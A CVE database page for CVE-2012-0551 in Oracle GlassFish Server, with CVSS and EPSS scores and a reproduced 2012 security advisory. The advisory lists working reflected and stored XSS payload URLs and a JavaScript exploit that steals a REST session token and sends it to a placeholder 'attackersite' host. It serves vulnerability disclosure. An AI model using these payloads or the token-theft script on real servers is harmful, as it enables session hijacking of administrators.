CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
Services & Price
Help & Info
Search : CVE id, CWE id, CAPEC id, vendor or keywords in CVE
Unspecified vulnerability in the Java Runtime Environment (JRE) in Oracle Java SE 7 update 4 and earlier and 6 update 32 and earlier, and the GlassFish Enterprise Server component in Oracle Sun Products Suite GlassFish Enterprise Server 3.1.1, allows remote attackers to affect confidentiality and integrity via unknown vectors related to Web Container or Deployment.
CVE Informations
Related Weaknesses
CWE-ID
Weakness Name
Source
CWE Other
No informations.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
5.8
AV:N/AC:M/Au:N/C:P/I:P/A:N
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
19.17%
–
–
2022-04-03
–
–
19.17%
–
–
2022-04-17
–
–
18.31%
–
–
2022-07-24
–
–
17.79%
–
–
2023-03-12
–
–
–
92.96%
–
2023-04-23
–
–
–
92.96%
–
2023-05-28
–
–
–
91.6%
–
2023-07-30
–
–
–
87.92%
–
2023-10-01
–
–
–
86.1%
–
2023-12-03
–
–
–
85.93%
–
2024-03-31
–
–
–
86.68%
–
2024-06-02
–
–
–
88.55%
–
2024-12-22
–
–
–
86.66%
–
2025-01-19
–
–
–
86.66%
–
2025-03-18
–
–
–
–
61.34%
2025-03-30
–
–
–
–
59.85%
2025-03-30
–
–
–
–
59.85,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Publication date : 2012-04-21 22h00 +00:00 Author : Roberto Suggi Liverani EDB Verified : No
Details
Vendor Site: Oracle (www.oracle.com)
Date: April, 19th 2012 – CVE 2012-0551
Affected Software: Oracle GlassFish Server 3.1.1 (build 12)
Researcher: Roberto Suggi Liverani
PDF version: http://www.security-assessment.com/files/documents/advisory/Oracle_GlassFish_Server_Multiple_XSS.pdf
Description
Security-Assessment.com has discovered that components of the Oracle GlassFish Server administrative web
interface are vulnerable to both reflected and stored Cross Site Scripting attacks. All pages where Cross Site
Scripting vulnerabilities were discovered require authentication.
Reflected Cross Site Scripting
Reflected Cross Site Scripting was discovered in multiple parts of the application.
The table below details where Reflected Cross Site Scripting was detected and which parameters are vulnerable:
[1] /common/applications/lifecycleEdit.jsf?appName=test%27);alert(document.cookie)//test
[2] /common/security/realms/realms.jsf?configName=default-config%22%29%3balert%281%29//test
[3] /web/grizzly/networkListeners.jsf?configName=default-configad217%22%29%3balert%281%29//test
[4] /common/security/auditModules/auditModules.jsf?configName=904895%22);alert(1);//test
[5] /common/security/jacc/jaccProviders.jsf?configName=904895%22);alert(1);//t
[6] /common/security/msgSecurity/msgSecurity.jsf?configName=904895%22);alert(1);//test
[7] /jms/jmsHosts.jsf?configName=904895%22);alert(1);//test
[8] /web/grizzly/networkListeners.jsf?configName=904895%22);alert(1);//test
[9] /web/grizzly/protocols.jsf?configName=904895%22);alert(1);//test
[10] /web/grizzly/transports.jsf?configName=904895%22);alert(1);//test
[11] /xhp?key=aquarium%27%3b%3Cscript%3Ealert%281%29%3C/script%3E//test ** Works in Internet Explorer (content sniffing)
Stored Cross Site Scripting
The table below details where Stored Cross Site Scripting was detected and which parameters are vulnerable:
Page Affected Rendered Page Method Variable
[1] /management/domain/create-password-alias - POST - id
[2] /common/appServer/pswdAliasNew.jsf - POST - propertyForm%3ApropertySheet%3ApropertSectionTextField%3AaliasNameNew%3AaliasNameNew
** requires a valid javax.faces.ViewState
Exploitation
These vulnerabilities can be exploited in several ways. One example is to include an external JavaScript file,
such as a JavaScript hook file provided by BeEF, the browser exploitation framework. In this particular case, it
is possible to steal the authentication token through the REST interface, bypassing the HTTPOnly protection adopted for the JSESSIONID token in the standard web administrative interface.
Bypassing HTTPOnly protection and token theft via REST interface
There is a feature in Oracle Glassfish Server which allows using cookie as a session management mechanism instead of Basic Authentication within the REST interface.
This feature can be misused using a Cross Site Scripting vulnerability. An exploit scenario for both stored and
reflected Cross Site Scripting vulnerabilities would be to inject a JavaScript payload which performs an XMLHTTPRequest (XHR) request to retrieve a valid session token via the REST interface.
The following exploit can be used to retrieve and steal a session token in case a user is authenticated to the REST Interface, using Basic Authentication. The token can only be used with a cookie named gfresttoken within the REST interface.
Bypassing HTTPOnly and Stealing Session Token
function retrieveToken()
{
var xmlhttp;
if (window.XMLHttpRequest)
{// code for IE7+, Firefox, Chrome, Opera, Safari
xmlhttp=new XMLHttpRequest();
}
else
{// code for IE6, IE5
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{}
}
xmlhttp.open("POST","/management/sessions",true);
xmlhttp.setRequestHeader("Accept","application/json")
xmlhttp.send();
return xmlhttp;
}
function stealToken(a)
{
jsonObj = JSON.parse(a.responseText); // token retrieved and can be sent to attacker
a = document.createElement("IMG");
a.setAttribute('src', 'http://attackersite/?token='+jsonObj.extraProperties.token);
document.body.appendChild(a); // time to grab the token
}
// this exploit works with browsers that have native JSON support
var a = retrieveToken();// perform XHR to retrieve token
setTimeout('stealToken(a);',12000); // needs time to load the token, then sends it to
attackersite
// attacker then needs to set a cookie named gfresttoken with the token value obtained. The
cookie has to be valid for the domain/IP address of the target Oracle Glassfish Server
Solution
Oracle has created a fix for this vulnerability which has been included as part of Critical Patch Update Advisory -
April 2012. Security-Assessment.com recommends applying the latest patch provided by the vendor.
For more information, visit: http://www.oracle.com/technetwork/topics/security/cpuapr2012-366314.html